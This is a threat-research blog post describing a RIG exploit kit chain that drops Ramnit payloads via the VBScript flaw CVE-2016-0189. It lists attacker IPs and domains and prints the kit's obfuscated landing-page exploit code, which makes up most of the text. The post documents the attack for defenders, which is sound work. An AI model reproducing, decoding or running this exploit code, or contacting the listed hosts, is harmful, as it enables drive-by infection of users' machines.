Back to Posts

RIG sends Ramnit payloads via VBScript CVE-2016-0189

Posted in exploitkit

RIG sends Ramnit payloads via VBScript CVE-2016-0189


Notes:

This morning I noticed an unusual chain of events when review an exploit redirect chain from last night.

The payload was dropped to the machine but I only observed a few IDS signatures and only 2 GET requests to the exploit domain (typically we see 3 with a flash exploit).

After reviewing I found this run was using only a VBScript (CVE-2016-0189) Exploit and dropped Ramnit payloads that are require a system reboot to execute correctly. Thanks @nao_sec for assistance with the CVE review :)

POC code for CVE-2016-0189

The ramnit payload drop was also a little unusual as it required a reboot to execute the payload after it installed into the startup folder, also the SmokeLoader payload appears to be empty today -_-



Domains and IP Addresses:

188.227.19.6   red.lizzyandcole.us   RIG EK
118.127.42.199   www.elitelockservice.com.au   SmokeLoader Payload
134.0.117.8   hdyejdn638ir8.com   Ramnit CnC



Traffic:

image-title-here Exploit Chain


image-title-here Ramnit CnC Traffic over port 443, Payload Download, and local network scanning



Landing Page Code:

<html>

<head>
    <meta http-equiv="X-UA-Compatible" content="IE=10">
    <meta charset="UTF-8">
</head>

<body>
    <hl>
        Ford company
    </hl>
    <script>
        kKRaLCNNpO = ",50žožtežnžunžeoutž;sež1;ž;režedfsžžnctiž:žvalžo;ož;}vžžarCožromžtrinžf+ž&0žCodežromCžinžnž{ržStržinžnctiž;žžAtžarCžsžt0žrCodžrnsž{režntžrTžnžfunž;žurž}žažgdžr+žxž||žsdfž538ž-2/*ž&2ž-2žQ*žOCž289žq-/žs*ž08žkjž*/bž2fž/*kžž9-1žeaqžwžbxž6žc;žbžx]ž[chž2755ž/*fž{cž+ž;xžorži;žiž/A[cž*fd5ži++ž30+ž;ižrižžrAtžžžž454žcežepž3f*ž0gdž/*dfž9+/ž345žz0žuvžqržijklžcdž4FžXYSžQRSTžLMNžD45žGHIžABžvažngtžsže,žarCžomžingždfgžržaq0ž0,cž{},žvaržCAžCiAžmN0ažEZžAgRWžICAgžh0žCBOžICžAgICžyKQožGsyžIDEžlkžpIDžB5žAgžCAgžICžAgICžIGszžAwIžyIGkžCAgžgIžICAgžRGltžAgžICAžCkKIžbmžlplžAgIGžICAgžICžmCižZWRmždGlvžCBGžCAžKICAžFN1YžW5žAgICžlCižiLkNžICAgžAgICždHžXRlžBiLžgICžCiAžZm5hžpbGžVGVžQ3JlžPWždCžIFžICAgžIikKžZWžVtžU3lžy5GždGžjcž3QožGVPYžDcžQgYžCBžCAžCAžCižmMsžGpvažR4džiBžJjdžgRGžCAžICAžTmV4žAgžgICAžkpKžVhZCžYWžihzdžgQXNžSBžQgMjžpKSBžtzKžocyžUožQ0JžT1DžyYyhžCAžAgIžk9dAžnMžzKHkž6cyhžoežICB0žgIžgICAžI1NžQW5kžh4KSžkržIHžCAgžCAžjU1CžBbmžxKžD0ožICAžCAgžTEKIžbGVžUbžk9MžRmžAgICžAgžk9MAžeD0žgIžCAgžMAožRpž0ucGžHJžgICžCAgIžiAžW4žHNžGltIžAgIžICAžICžRpb2žcG9zždHJlžxlžICAžgIžogIžgTmVžgICAž9dAožMoažKGožpKTžk6cžMožB0žCAgžgICAžgIžDI1žkgQWžcyžsoažPShqžCAgžICAžICžI1NQžRvžaT0wžICBGžgICžiAgIžaj0žCAgIžogIžV4žICAgžCAgžKQžxLžVužBržE1žIChžHJLžpZCž2NCžT1žgažCAgžgICžWkKžKGkžgICžCAžCAžI1NQžRvžaT0žGb3žCAgIžCAžXkpCžzdžuPUxžCBrbžAgICžCiAžaygyžI1NžSBžAgIžICAž0KžHJžmLGJžhQžxlbžQsžaSxqžLHžlbž0gažCBEžICžgIžWUžsZmžJLZžhbSžHN0cž5zYXžIGžgU3žCAžCižBTdWžgIEžCAgIžBJZžEVžgICžgIž3QKžZHžPWžm9vžzdGžgižuSXžNzIžcm9ž50žlyb2žIEVžAgžCAgžiIpCžhdGžHBsžbC5žCJTžJqZžXRžQ3JžoIDž2VžgIžAgžKICžSIpžmFžNGažJTždGVtž3MiKžBybž1lbnžJvžuRWžgICAžICAžG1wžikžb2ž0ZWžKCJTžKS5Jžlc3žlByžlbžXJžuRW5žgICAžgIžAgžIpžm9vžGVžiUžXRlžNzIižcm9ž50Kž25žVudmž13ž9vžb2xžICžgICžICAžbXžyežcmVžmVudžuQžCAgIžgIžAgIžCIpž5TaGžNjcmžCgiž9iamžWF0ž3PUNžFNžICžCAgIžKCižxvžYW0užBzžICAgžAgžsZgožSxžcmVžZlIHžY25žgIžCAgIžgICž0ZSBžS5Xž0cmžICAgžICAgž0xCižlwžYW0žBzdžgICžgICAž3BlžlYW0žICBzžAgICžAgžiKQožJlYžEQižKCJBžJqžYXRž9QžJlžCBžgIžgICAžiAžV4ZSžg4KSžm5ž0bXAžUGFžaWž1jLžCAžICžgICž2UKž2xžGIžgICžgIžiAgžsdHžGUgžIuV3žgICAžCAgIžCiž2VkžGZžGaWžležF0ž1jLkžZXžgICžgICAžQogIžkbGwžbGwžiwicžZha2žYXžpbGžIGMžbCžFrZWžICAžAgICžICAžIiž1džihž0gSžh0žZGxsžAgžICAžQKIžIE5žgIžICAžSkpžXl1NžDaHžSkžNXQžgdXžgICAžCAgžgICAžV0KžKHžJvdWž8gžPTžvcžAgžgICžAgIžDApžsMCwžwwžwLDžLDAžsMCžwLžAsžMCwwžwwLDžwLDžDAsžMCžCwwžLDAžAsMžAsMCžAsMCžMCwžwLžLDAsžAsMCžCwwžwLžDAsMžMCžwLDžLDAsžDAsžMCwžCwwLžLDžsMCžwwžDAsžAsMžAsMCžMCžLDžsMžCwžwLžAsžMCžCwwžLDAžsMžMCwwžwLžDAsžsMžCwwžwwLžDAžsMCžwwLžwLDAžAsžwwžAsžAsMCžCwwžwLžLDAsžsMžCwžwLDAžwLDAžsMžCwžwLžAsMžCwžwLžDAsžsMžCwžDAžsMžCwžwLDAžAsMžAsMCžAsMCžMCwwžwLDžwLDAžAsžMCwžwLžLDAsžAsMCžMCwwžwLDžDAsMžMCwžLDžLDAsžsMžsMCwžwLžLDAžMCžCwwžCwwLžwLDAžAsžsMCwžCwžwwLDžwwLDžLDžLDAsžAsMCžAsMCžCwwžwwLžwLDAžAsžwwžAsžMCwwžwLDžsMžCwwžwLDAžDAsMžsMžMCwžwwLžwLDžDAžMCwžwwLžLDžAsžAsMCžMCžwLDžAsMžCwžCwwLžLDAžAsMžCwžwwLDžLDAžDAsMžsMCžMCwwžwLžDAsžMCžwLDžDAžDAsMžsMžMCwwžwLDžLDAžLDAsžAsMžMCžwwLDžLDžAsMCžMCwžwLžsMžwwžDAsžsMCwžCwžwwLžDAžCwžLDAžAsMCžwwžDAžAsMCžMCwžLDžDAsMžDAsMžCwžLDžsMCžMCwwžwwLžwwLDžLDžMCžwLžLDAsžsMžwwžwLDžDAsžDAsMžAsMCžwwžDAžsMžsMCwžMCwwžwwLžLDžDAsžMCžwwLžAsžMCžMwLžNCwmžAsžhLCZžCwmžJmžoNžwLžNCwžAsžLCZžaDžzMCžNjksžwLžCwmažsJžLCZožwmžgzžNTžwLCžwmažJmg0žZožDQxžzMCžzcžwLžzMSwžMzAsžLCžwmažJmgžMWžLCžmaDžgxNžLDžgsMžwLCžTAsžwLCžsMžCwžwLDžLDAsžDAsMžMCwžwwLDžwwLDžDAsžMCžwwžLDAsžDAsžsMžwwLžLDžDAsžsMCžMCwžMCwwžwLžDAsžsMžCwwLžwwLžLDžAsMCžMCwwžwLDžsMžwwžDAžMCžwwžwwLDžAsžCwwžDAžAsMCžAsMCžCwžwLžLDAžDAsMžsMžCwžwwLžLDAžAsMCžAsMCžsMCwžCwžwwLžwLDAžAsMžMCžwwLžwLDAžDAsžsMCwžwLžDAsžAsMCžCwžLDžDAsžsMžMCwwžwwLDžAsžwwžwLDžwLDAžwLDAžAsžMCwwžMCwwžwwžAsžsMCwžwwLžLDžAsMCžMCžCwwLžwwLDžwLDAžDAžAsMCžsMCžwLžLDAžDAsMžAsMžMCwwžwwžwLDAžDAsMžAsMCžsMCžCwwžDAžsMCwžwwžLDAžAsMžCwžwLžwLDAžLDAsžsMžMCwžwLDžsMžwLžTcsžCZžmažJmg2žCZoNžmažJmgžCZoNžwmaDžJmgžZoNjžmaDžg2žNzIsžaDUwžNSžsJžCZžmaDžJmgžoNzžmaDQžwLDAžAsžAsMCžmaDžmhlžLDAžAsMžsMCžZožaGUžsMžwLžmg0žNjžZjž2MiwžEsJžZožaDYžmg3MžCZoNžCwmažUsJžZožaDYžZCžmUsJžmLCžiwmžsJž2LCZžZSwmžUsJmž0LCZžNSwmžMsžLCžDAsMž3MiwžmYžcyLž3MiwžsJžLCZžywmažEsJmžjLCZžCwmžUsJmžLCžCwmžwwLDžNDEsžc5LCžMižNmYsžc0LžywmžUsJmžCZožwmaDžmgžNDQžzLžNywžNmYsž0LCžZSwžksžLCZožwmžUsJmžCZožmaDQžDAsžCwžZoNDžDcž2ZžjUsJžCZžmaDcžJmgžoNžaDc0žg2MSžNjžcyLžMywmžAsžMCžwwžDAsžzMCwžjgžwLžMzAsžGE4LžMCwžaDMwžg5MCžDAsžMCwžDAsJžLCZžAsMžMCžwLDžwmžmhižLDžJmgzžoYžMCwžoMžDkwžsMCžaDMžmg4MžwLDžmgžNGž0LžwmžsJmgžzLCZžOSwmžNTAsžDQxLžmg1NžNDžxLžCwžDAžDRžYywžQsžlLCžMiwžMsJmžjLCZžNSwžJmžZoNGžaDUyžg0NžNGIžMCwwžwwžwLDžDAsMžsMžwwžLDAsžsMCžsMCwžzMCwžGMsžwLžzAsMžRhLCžMCwžCwwLžwLžDAžzAsMžQ0LCžCwmžDMwLžYywžsJžwwLžJmžM2žwwžLDAsžDAsMžMCžMCwwžTgsJžwwLCžwwLDžwLDžDAsžsMCwžwLžLDAsžsMCžDVjLžCwžsJžoMžmaDMžCZžaDMžgzOSžgsžZožaDJmžmgyNžGYž1YywžMsžCZžmaDVžsJmgžZoNžmaDZžg1žoMzžaDVjžmgzOžZoNžmaDžg1žMmžDVjLžyNSžMsJžCZožJmžZoNždjžYywmžmQsJžDVjLžywžMsJždjLCžywžYsJmžLCžwmžmg3žCZoNžmaž1YžsJžZožaDVjžJmgyžCZožmaDdžsJmgžLCZožwmažMsJmžLCžaDžJmg1žLCZožwmžmgžCZoNžmaDžJmgžoMžDVjžOSžJmžoNWžDMwžg1YžMzUžjLžYSwžMsJmžLCZožwmažJmžLCZožwmžLCZžmaDžmg3OžoNWžmaDdžmgžMjgžDVjLžyZžMsžCZožaDNžJmg1žCZoMžaDžgyžNWMžDdjžg1YžM2YžDVjž3MžWMsžjLCZžywžsJmgžCZžDVžNCžWMsžM5LžwmžJmgžZožaDžmgzžZoNžwmaDžmgžCZoMžwmaDžsJmgžCZžmaDNžmg2žM2UžDZkžNCwžNjksžjLžwmažmgžCZoNžmaDNžsJmgžLCZožiwmžQsJmžLCZžSwmažmQsJžLCžwmžmg2žZoNzžDYžmg2YžoNžhLžwmžJmg3žZoNmžaDM5žgzOCžZoMzžDZiž2YžsJžCZžDNžMCwžwLDžwLDAžwLDAžAsMžMCžwLžAsžsMCžCwwžwLDAžAsMžsMCwžwwLžwLDžLDAžDAsžDAsMžMCžwwLDžwLDžLDAžMCžwwLžLDAsžsMCžwwLžDAžAsMžMCwžCwwžwwLDžLDAsžLDAsžsMCžMCwžCwwLžCwwLžCwwLžLDAžDAsMžCwžwwLDžwLDžDAžDAsMžAsMCžwwžLDžDAsžCwžwLDžDAžAsMžwwžLDAžAsMžsMCwžMCwžwwžwwLDžDAžsMCwžwLžAsMžCwwžwLDžLDAžDAsžsMCwžsMCwžMCwžCwwLžwLDAžwLDAžDAsžAsMžMCžwwLžLDAsžAsMCžMCžwwLžDAžMCžCwwžwwLDžLDAsžMCžLDžAsMCžAsMCžwwžwwLDžDAžCwžLDžAsžMCžLDžAsžCwwžCwwLžLDžMCžwLžLDAžAsžsMCžMCwžMCwwžLDžAsMžMCwwžwLžDAžCwžwLDAžDAžAsMCžsMCwžMCwwžwwžDAžDAsMžsMCwžCwwLžCwwLžwLžAsMžsMCžMCwžCwwLžwLDAžLDAžDAsMžMCwžwLDžDAsžDAsMžAsMžsMCžsMCwžCwwžLDAžsMžCwžwwLDžwLDžAsžsMCwžMCwwžMCwwžCwwLžwwLžLDžDAsMžAsMžMCžMCwwžwLžDAžsMCwžwwLžDAsžDAsMžsMCwžwLžwLDAžwLDAžDAsMžsMCwžCwwLžCwwLžwLDžAsMžMCwwžwLDžLDAžDAsžMCžCwwLžwLžAsžAsMCžsMCžCwžLDAžsMžCwžLDžAsMžCwwžwwLžLDAsžLDAsžMCžwwLDžLDAžAsMžCwwžLDAžLDAsžAsMžMCwžwLžwLDAžwLDAžLDAsžsMžCwwžwLDžLDAžMCžCwwLžLDAžDAsžsMžwwžwLDžLDAsžsMžMCwwžLDžMCžwwžwwLDžDAsžAsMžwwžLDAsžDAsžDAsMžAsMCžCwžLDAžsMCžwLžLDAsžsMžMCwwžLDžLDAsžDAsMžMCwžwwLžwwLDžAsžwwžLDžDAsžsMCwžwLžLDAžDAsMžAsMžMCžwLžAsžMCwžwwLžLDAžLDAsžsMžwLžwLDAžLDAsžsMCžsMCwžwwžDAsžDAsMžsMžwwžDAžsMCwžCwwžLDAžsMžwwžwwLDžwwLDžAsžsMCžsMCwžwLžLDAžsMCžwwžDAsžsMCžCwžDAžCwžLDAžDAsMžAsMžAsMCžwwžDAsžAsMžCwwžwLDAžLDAsžDAsžoYžGMyžjOSwžwLDAžDEžwmaGžAsžLCZožwmažmhkžoMTžZmžMCžZoNmžSwwžJmgžwLDžSwmžsJmgžCZoNžaDYžEsžLCZžJmg2žhLDžMCwžZoNžYSwwžDAsžwmaDžoNDAžmaDIžNjgsžwLCžmg0žjEžCZžmaDžg2žQwLDžzMCžzgsJž1LCžwmžJmhmžDQwžMSžTMsJžY4LCžCwmžNDžDIwžMCžCZoNžMCwžsJžLCZžmaDžmgxžoZmžCwwLžJmgžCZožg2OCžDAžDQsMžmaDžLDAžLDAsžaDžJmgyžZožyw1žDAsJžQsMCžwLCZžJmgžLCZožNSžoYzžDUž3NSwžYzAsžDg1LžMCwžoNDžDMž3NCžsJžZoMžwmaGžNDžMwLž2YywžUsžmLCZžwmžoNmEžSwžEsJžmaDZžsMžLCZžwmaDžmg1žZoNžGVž3NSžksJžLCZžmažJmhhžQwLžyMSžNTgsžxLCž4MCwžsJžDQwLžgyMžoNTžDkxLžiwžJmhžCZožsMCwžaDk2žhižAsžwwžGIsžLCZžwmžLCZžYyžDdkLžg4MyžoZTžaDg5ž1NžDAžAsMžAsMCžwwžwwLDžwLDžAsžwwžAsžMCžCwwLžDAžAsMCžwwžAsžCwžwwLDžwLDAžDAžMCwžwLDžAsMžwwžwLDAžAsžCwwžLDžMCžMCwwžMCwwžCwwžCwwLžDAžMCžwwLDžLDAsžsMžwLžAsžsMCwžCwžLDžMCžCwwLžLDAžMCžwLDžDAsMžDAsMžAsMžwwžwLDžLDAsžAsMžMCwžwwLžLDžAsžMCwwžwwžDAsžAsMžMCwžCwwžCwwLžwwLžwwLDžwwLDžDAžsMCwžCwwžwwLžwwLDžDAžsMžCwwLžDAžMCžwwžLDžAsMCžAsMCžMCwžCwwžwwLžwwLDžDAžDAsMžMCwžMCwwžwwLDžLDAsžAsMžsMCwžCwwLžDAžCwžDAžAsMžAsMCžAsMCžAsMCžCwwžwLžAsžCwžwwLDžwLDAžDAsžAsMCžCwžDAžAsMCžCwžwwLDžwwLDžLDAžMCžwwLDžLDAžDAsMžAsMCžCwžLDAžsMCžCwžwwLžLDžsMCžCwwLžwLDžDAsžsMCžCwwžLDAžsMCžCwwžwwLDžwwLDžwwLDžwLDžAsMžCwwžwwLžwwLDžAsžAsMCžAsMCžsMCwžCwwžLDAžLDAsžDAsMžsMžwwLžDAžsMCwžMCwwžwLžDAsMžsMžwLžLDAsžAsMCžMCžCwwžDAžsMžMCwžCwwLžwLDAžDAžMCwžMCwwžwwLDžwLDAžLDAžAsMCžwwžAsžsMCžsMCwžwLžAsžMCwwžwwžwLDžAsžMCwwžwLDžsMžsMCwžCwwLžCwwLžwLDžLDAsžAsMžwwžwwLDžAsžCwwžwwLžDAsžsMCwžCwžwLžwLDAžAsMžCwžwLDžDAsMžMCžCwwžCwwLžCwwLžwLDž0MžDAsž0MžLDAžAsMCžCwwžwwLDžAsžCwwžSwwLžCZžAsMCžsMCwžwwžJmžwLDžAsMžmaDžzLDAžiwmžsJmžCZožmaDž3MžmUsžLCžCwmažwLDžCwžLDAžAsMCžAsMCžsMCwžwLžsMž4LžDAžiwžwwLžoMzžsMCwžwwžsJmžSwwžsJžCZžmaDYžmgžoNžDJlLžCwžJmhžwLDžmg0žwLžwLDAžDAžAsMžCwžwwLDžLDžsMžCwwLžwLDAžsMCwžsMSwžLCZžAsMCžaDžmg3NžNjEž0LCžZSwžNjAsžwLCžjAsMžCwwLžLDAžAsžAsMCžMCžwwžwwLDžLDAsžLDAsžJmgxžCwwžExLDžCwžwLDžmg3žZoNžaDžmg3NžMmUžwwLCžwLDAžDAsMžsMžCwwLžLDAžAsMCžwwžDAžMCžwwžwLDžwLDAžDAžAsMžsMCžsMCwžsMCwžMCwwžwwLDžLDžMCžCwwLžwLDžDAsžCwžDAžAsMCžCwwžDAžsMžMCwwžwwLDžwwLDžAsžMCwžwLžgsžCZžMCwžNDžwwLžAsžAsMCžAsMCžsMCwžsMCwžMCwžCwwLžwLDAžAsžwwžLDžYyžAsžgzMCžAsžCwžwLDAžDAsMžDAsMžAsMžZožsMCwžCwwLžwLDžLDAsžsMCžCwwLžTAžLCZžDAsMžaDEžMCžLDžmaDžDIsžMCwžoNWžDE1LžsMCž0LžDAžCwžAsJžMCžCwwLžwwLDžwLDAžAsMžMCwžxLžDAsžCwžwLDAžmgxžCwwLžAsJžCwwžwLDžCwmažwwLžJmgžMCwwžZoMTžsMCžsMCwžwLžAsžIsMCž0NyžDEsžZoYžDIxžoZSžMCwžsJžMCwžwwLDžwwLDžJmžZoNžmaDNžJmgyžLDžsMSžCZžCwžNDUžaDUwžAsMCžCwžCwwLž0LDžoYSwžmhkžoMmžY1LžNCwžmYsJžCZžmaDZžmgyMžNTžmLžmažJmgžZoMžDZlžOSwžAsJmžZožaDZlžJmg3žoNzžDIwžNSwžjIsJžLCžwmžmg3žoNmžZlžSwmžmgžNjžDYzžMCwžQsJžLCZžwmaDžg3žNjžZmžwmžsJmžZoNžIwžMyžksJmž4LCZžmažJmgžZoMjžGNkžYyžEsJmžaGI4žyMSž2QsžLCZžmhiNžLDžEsžLCžwmžwwLCžLDAsžwmaDžDAžMCwžCwwžwwLžDAsžAsMCžMCžwLDžLDAžDAsMžMCwžLDžAsžMCwžwLžLDAsžwmaDžwLDžsMžwwLžDAžwwLžZmYžLCžwmaGžTAžwLžAsžMCwžwwLDžsJmžkLCZžeSgžBcnžV0žHVžgIžAgžiAžWtlZžCxžRsbžV5dTžGltžCAgIžCAgIžgSWžCBžgIžAgIžKQožFrZžkZXžGVGžcmVžAgYyžICAgžgICžgIžVužSBUžTMžoZmžzdžkZXJžy5Gbžb3žZižCAgIžICžICžTMyIž5cžCYžyPžmFžAgIžAgžKICžoMž2xkZžpYWždFNžjLžHRtžAgIžCAgžpCiAžVjdžbU9ižN5cžmlsžHRpbžTY3Jž0Kž2JqžXRž9Q3Jž2V0IžCAžICAžgICžHkKIžZUžNwb2žJlcSžCBžAgICžgICAžGhlbždXMžzdGžJlcžgMjAžICAgžICAgžuZAžXEžCAgIžCAžCiAžk9džRpb2žlcSžICAgžAgIžsLDAžsdžgIkdžk9wZžgcmžCAžICžHkgžV0UHžZXEžCAgIžAgIžMSIpžLjžXF1ZžUVFžpbžQLž5IVž0KCžlT2JžlYžE9ždCžAgIFžCAžoKICžG9žKGžG9jYžU2žAgICžgICžmV4džICžAgICžogžWFnžMYžb3MužNsbžICžgIžCAgžvcžyBpžFjaCžb3žICžCAgIžjCžtIG9žgRžgICAžKQogžZWždTeXžVyYXžMl9žaWžc09mž3RhžpLkžXRzžbm1žQožYmplž1HžG9žAgUžICAžogIžCgkžkFnždXž0b3žpZžz1žIHžgIžgIžSIKIž2bjBžwNžDc0žC4xMžGxžmZpež0zWžQjJhžVVNrž5pžvSDž2RžySžEwSžmtužVTTHžR012žRRQTž2WGNž1hžnEžm9qNžnežHVjSžk0žhhSVžnY0ž1CSžGtiž4džldnažweUž0VMžFDMžmdUžE9žeTMžZrž40žXEž0LjgžPXNžmYmžBsž3Qž5ha2žWUžwJžTRžIuNžZhžLjEžwbGžXVž51cžkY29ženpžVkži8vžodHžXJžCSAžG9yIž29žSJnZža2VžICAgžogžgTmžZXN1žvcžiBFcžICBžAgIžiAžyZSžWIžglžvbžjdžGdžKCUVžBzdžuZHMžCAžmV4džgkgIžsIDEžbmQžgyžElžFUlMžxFžWlkžyICYž0gž3RyžICAžgIžW4KCžBzdHžMSžBpIDžgIEžQoJIžbWlžFJhbžICžIgžAyMzžByc3žrbGž2RlažgImžVJžRVRž5zžCBDžKCžSBzžERžICAžVuKžoc3žJuZžaWžZ1žgoKždGlžBGdžVužCAgžCAžE3NžKyžsZXžSwgžYXžF0ažgUmVžgICAžgIžlKCkžICBžgICžAoJžmSžZXMgžwga2žXJnždhdGžIFžICžCAgžkpCžgMSžG1žoTWž9Jžc3RyžGVzžgIGtžgICAžpCiAžrIžV4žJnMSžpa2UžNZžExpž1lbžgICžAgžpCiAžMywgžKG1lžoTžJbž3Ryž5ID0žCBzžCAgIžgIžA4KžHIžsIGžlKGFžlTWVžgPSBžBtZžCAgžgIžKQožsIGžFyZž29BžBHbžZHžAgžAgžICAgžECžWRžldžSA9ždCžCAgžCAžgICžWVtžBEažgICžICAgžxlcwžbSžCAgIžgIžCiAgžBzžIEžICAgžAgICžGRyžRpbSžgICAžCAžpCiAžKGFyžN0žcm90žvbiž5jžBGžICAgžoKICžN1žgRWžgIžCiAž5dmž9IGVžLCAžChhžF3LkžAgICžgICAžlCžFyYždhžmVžF3IžgU2žCAgžAgIž1bGžyA9žAgIžAgICžjKQožY2FwžVbžgIHgžCAgIžiAgIžJižcižoYWžG9žYgažPSžgIžICAgžAgžZmlždHžiICžTQwMžmIžZ2VyžRmžPSBkžCAgIžAgIžiAgžHR5džltIžCAgžICžAgžkcikžwgYžoYXJžpMžXd3ž1YžAgžICž3VižbmžAgžCAžCkžTbžSAžCAžmcžZChžGF3LžgICžgICAžBlCžmFyžV3IFžIDžV0IžCAgžgICAžCAgIžbGwždyA9žgICžICAžogICžwZSžVzžgPSžCAžAgIžAgžkgJižWRkždHIžW50VžBkIžIGMžCAgžICžl4CždHJžMiždTQžAmIžVyZ2žZGRžGQgžAgICžCAgžCižkZHžZzEsždGkgžJld3žAgU3žCAžCiAžpbžnVužBFbžAgž8KICžA9žlrž1lžTGlžAgIžAgICžkKžSwgžYXžDbžSBžG8žAgICžICžbSBvžgIžCAžAgICžyYXBžFdhžgTmžIGF3žCAgUžAgIžICAž51bGždyAžICžAgžICAžShjžkVzYžgPSžCAgIžICžiAgžikgJžoYžG9TžYgaWžgPSžAgžCAžAgIžaXgzžCIgJžMDAžCYgžnZžGZnZžIGžCAgžICAžICAgžWRkcžnMSwžoYžlržZU1lž4gžY3žgRnžICAgž24KCžVuY3žbmQgžICžCAgžHIžA9IGž9nb0žICAgžgICžAgžJZgžIEVžCAgžiAgIž0dXJžICAgžCAgIžCAgIžlZgožb24žjYXžbnQužZG9jžmVmIžvbžNhdždCž1bžBkžAgžICAgžICAgžVužVsbCžD0žBhZžAgICžgICAžgIžh0žICBOžICAgžAogžgTžKGkžgICžgICAžgICAžkIElžCAžICžICAgžgIžIDIpžyAržKSwžoeSžudChžHJUžIgPžIGFžgIžgIžgICAžICAgžlbgžykgžR5cGžIFZhžEpKžIDMžkožlkžc2žJZižAgIžCAžICAžAgžrMy0žBUbžID0gžEZvcžgICAžgIžAgžpbSBžAgžCAgžiAgIžhZGRžpbžAgžAgICžAgž9IHžAyKžcmcžvZžIGF3žAgUžgICžCAžAožmVžICžICžAgICžHMKžKSAžnYSžIGxžCAgžCAgIžCAgIžrMwožgMCBžiBpžgIžAgžgICžcGUžyYXžXcgžcgPSžTZXžCAgžCAgIžsbž3ID0žgIžAgžICžHMpžZzžgKž9HžEdvžmN0ažIEžgICžzCgožkIENžCAgRžAgIžU3VižBFbžCAžCAgIžQožIGžQoazžBDžZXJ2žBQžZURžCAgIžAgICžgICžCgžvaW5žBažIFNžHVižICžgICžCAžN1YžgRW5žAgIžgICžrMikžGsxLžQ29ž2VydžW0gUžgUmVžICAgžAgICžgICAžl6ždGžNfžgQ2xžBTdžpdmFžICAgžAgIžAgž9kKCžEaW0žCAgžCAgIžQožcmFžYXžGFzcžCAgIžQkKIžc3žQgQ2žgICBžCAgžsZUž1pžXNžAgIžICAgžGMpCžXBžRXNžA9IžAgICžiCiAž9IGQžICAžAgICžIpžzLCžKGsž3RyažiIžAgIžICAžDI0Mž0MižIiV1žgzICžJiBmžxNižIiV1žJlICžZXJnžkZGžCAžgICžiAžJvZmžggJižcmžAmIHžb2ZpžD0gžJpZžAgžICAgžAižldTAžCAžVybžCAgžCAžxCižgJiBždlžkZmžD0gZžmažDMyžrMyžgxžBmžDEgžA9IžyZ2žRmžCBkžICAžiAKž0MžiJžEgžZpžsgazžk5žPSAžQoJžxID0žikKžgeSgžBEžiAgžoMzždW5užRpbžCAžgYžlEžžvaržžiožfunžptž4fs*ž6357žs24žcrižVBsž9fsžj9ž5d66ž*s17žptžexecžDQž0N43žx96ždowžwžfsž605ž896hž2825ž/*žra" /*ghe*/ ["s" + "\x70l" + "it" /*ixfh*/ ] /*gg*/ ('ž');
        /*Some150gbhc148vnhf1ggk*/
        /*sf73ghc151vnf84gk*/
        /*News27gbhc84vnf154k*/
        giMmORlrXv = "va¬l;¬s4¬d11¬fj¬34¬*/¬in¬/*¬891¬418¬*/¬Scri¬a,/¬09¬71hf¬647¬*/¬+¬+/*¬702¬6980¬/¬;¬ct¬nl¬{¬s¬Cg¬aW0¬XcKI¬gIE¬SBs¬Z2E¬IpC¬IC¬aW0¬zM¬CWs¬gM¬azIg¬xOT¬IC¬EKCW¬eD¬PSA¬XU¬TQxI¬ICAg¬gI¬ZG¬Z2V¬VyZS¬GZpe¬Ji¬aX¬Cgl¬A9I¬Cgl¬XgzI¬GR¬dlcm¬cmU¬maXg¬AgI¬gI¬em¬2Zpe¬9ICI¬wMD¬CiAg¬IC¬dH¬ml4I¬emVy¬eC¬pl¬9maX¬B6ZX¬l4C¬gICA¬AgZ¬9IGR¬Zn¬ZX¬Yg¬MDA¬Ig¬aX¬Yg¬NDI¬V1N¬iIK¬gIC¬CB¬D0gU¬W5n¬yKms¬AiRC¬Ci¬Ag¬gYyA¬gJiB¬gIC¬AgeC¬FVu¬jY¬lK¬gog¬IC¬ENsY¬zIE¬ZGR¬QKI¬ICA¬Fbm¬xh¬MKC¬CAgI¬CBDb¬yBX¬Jh¬wZ¬gI¬CAgI¬ICB¬gQ2¬kKIC¬IC¬CAg¬UHJ¬0ZS¬WI¬hc3¬SW5p¬lhbG¬ZQo¬gIC¬Ag¬ICA¬Ea¬HJlc¬mUg¬kK¬CB¬KICA¬AgIC¬CA¬kIF¬goKI¬gICA¬Ag¬AgU¬bGlj¬1Yi¬ZXJ¬lT¬pCiA¬AgIC¬AgI¬CBS¬pbS¬cmVz¬ZS¬b2¬Es¬sxK¬gI¬CAgI¬gIC¬mQg¬Ci¬CAgI¬W5¬sYXN¬gICA¬Ag¬Z1b¬W9uI¬Z2¬b0E¬GFy¬EsI¬CiAg¬AgIC¬ICA¬GF¬gTnV¬AogI¬CAgI¬ICB¬QgYX¬BOZ¬V2F¬Jh¬KCiA¬AgIC¬ICA¬EZvc¬ID0¬UbyB¬gI¬CAgI¬CAgI¬U2V0¬1bm5¬hp¬9I¬IC¬Ag¬Ag¬AgT¬4d¬KI¬gICA¬AgIC¬2V0¬LkN¬Chh¬xLC¬SA¬MKCi¬IC¬AgIC¬IER¬SB¬yC¬CAgI¬IC¬IER¬pCi¬ICA¬CA¬gI¬iBp¬MC¬yB¬xCi¬ICAg¬gI¬gIC¬CB¬BB¬MoTW¬KH¬aSks¬sID¬SA9¬cl¬Uoc¬VGh¬og¬ICA¬gICA¬CA¬CAg¬kZH¬SBzd¬b0l¬NaWQ¬hp¬gM¬IDQs¬KQo¬CAg¬ICAg¬AgI¬gRW5¬mCiA¬gICA¬gICA¬B5¬pID0¬nVsb¬ICAg¬ICAg¬ZX¬Cgo¬CA¬gIC¬BJZi¬GRyI¬gTn¬BUaG¬CiAg¬ICAg¬IC¬IC¬b2N¬WVu¬5sb2¬Gl¬i5oc¬D0g¬dW1l¬bG9¬Rp¬uaHJ¬gI¬CAgI¬CAg¬UmV¬uC¬CAgI¬ICAg¬uZCB¬oKIC¬ICA¬Ag¬R2¬dvQS¬FkZ¬KI¬ICAg¬BF¬Rn¬Rpb¬iAg¬ICA¬Vu¬Rpb2¬TGlr¬TG¬ZSA¬XJ¬gY¬ikK¬ICAg¬gI¬ZCA9¬RkZ¬XJ¬XJlI¬IiV1¬wO¬iBm¬Ci¬CAgI¬gIC¬IGM¬BkIC¬50V¬dHI¬WRkc¬iBiC¬ICAg¬AgI¬Hg¬BVb¬2FwZ¬KQog¬gIC¬ICAg¬Bh¬9IE¬wK¬gIC¬CAgI¬2V0¬ID0¬V3I¬cmF¬lCi¬AgI¬gICA¬ERp¬CiAg¬AgIC¬AgI¬gP¬hdy5¬2Qo¬JnM¬Mi¬IC¬AgIC¬CAg¬rZU¬TG¬ZS¬IG¬AgIC¬IC¬mQgR¬Y3R¬24K¬gI¬gIC¬ViIF¬dh¬KGFy¬IGF¬Ip¬AgI¬IC¬AgI¬PSBk